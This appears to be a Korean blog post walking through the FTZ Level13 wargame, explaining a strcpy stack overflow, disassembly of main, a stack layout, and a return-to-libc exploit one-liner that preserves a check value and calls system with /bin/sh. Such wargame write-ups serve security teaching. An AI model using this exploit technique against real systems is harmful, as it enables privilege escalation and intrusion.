일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 오버워치 세이버메트릭스
- linux
- C++11
- 오버워치
- vi
- FTZ 레벨2
- ftz
- vi 외부 명령어
- #Qt Creator
- vim
- Overwatch League SaberMetrics
- >
- KASAN
- #
- Find
- BEST of the BEST
- Sqix
- libpcap
- libtins
- #MINT64 #Sqix
- Network
- #IntelManual #segment Descriptor #세그먼트 디스크립터 #MINT64 #Sqix
- command
- #Best of the Best #OS #MINT64 #Sqix
- #IntelManual
- 인터럽트
- Today
- Total
Sqix
FTZ Level13 본문
strcpy를 이용해서 bof시켜 return에 도달할 수 있도록 해서 RTL을 적용해 exploit을 해야 할 것 같습니다.
kill 함수는 SIGNAL을 발생시켜 프로세스를 종료시키는 함수입니다. 이 부분을 우회해야 RET로 갈 수 있습니다.
따라서, i 변수의 위치에는 AAAA를 덮지 않고, 정확히 0x1234567을 집어넣어야 합니다. 결국 i의 위치를 계산해야 합니다.
main함수를 리버싱해 봅시다
0x080483c8 <main+0>: push %ebp
0x080483c9 <main+1>: mov %esp,%ebp
0x080483cb <main+3>: sub $0x418,%esp
0x080483d1 <main+9>: and $0xfffffff0,%esp
0x080483d4 <main+12>: mov $0x0,%eax
0x080483d9 <main+17>: sub %eax,%esp
1048만큼 스택 공간을 확보합니다.
0x080483db <main+19>: movl $0x1234567,0xfffffff4(%ebp)
0x080483e2 <main+26>: sub $0x8,%esp
0x080483e5 <main+29>: push $0xc16
0x080483ea <main+34>: push $0xc16
0x080483ef <main+39>: call 0x80482e8 <setreuid>
0x080483f4 <main+44>: add $0x10,%esp
long type i 변수에 0x1234567의 값을 대입합니다. (long type은 이론상 8바이트를 사용하지만, 4바이트만큼의 크기를 가집니다.)
그리고 setreuid 함수를 동작시킵니다.
0x080483f7 <main+47>: cmpl $0x1,0x8(%ebp)
0x080483fb <main+51>: jle 0x8048417 <main+79>
$esp + 0x412 부분에 0x01234567이 들어간 것을 볼 수 있습니다. x/x $ebp를 하면 ebp는 0xbfffe618이므로, 옆의 0x42015574는 RET입니다.
스택 구성은 다음과 같다고 보여집니다
[ BUFFER(1024) ] | [ DUMMY(12) ] | [ VAL i(4) ] | [ DUMMY(8) ] | [ SFP(4) ] | [ RET(4) ]
따라서 BUFFER, DUMMY 부분은 A로, i에는 \x67\x45\x23\x01을, RET 전까지는 A로, RET, argv 부분에는 system, /bin/sh를 넣어야 할 것입니다.
공격 코드 구성
$ ./attackme `python -c 'print "A" * 1036 + "\x67\x45\x23\x01" + "A" * 12 + "\xc0\xf2\x03\x42" + "A" * 4 + "\xa4\x7e\x12\x42"'`
'Wargame > FTZ' 카테고리의 다른 글
FTZ Level15 (0) | 2018.07.10 |
---|---|
FTZ Level14 (0) | 2018.07.10 |
FTZ Level12 (0) | 2018.06.29 |
FTZ Level11 (0) | 2018.06.18 |
FTZ Level10 (0) | 2018.06.18 |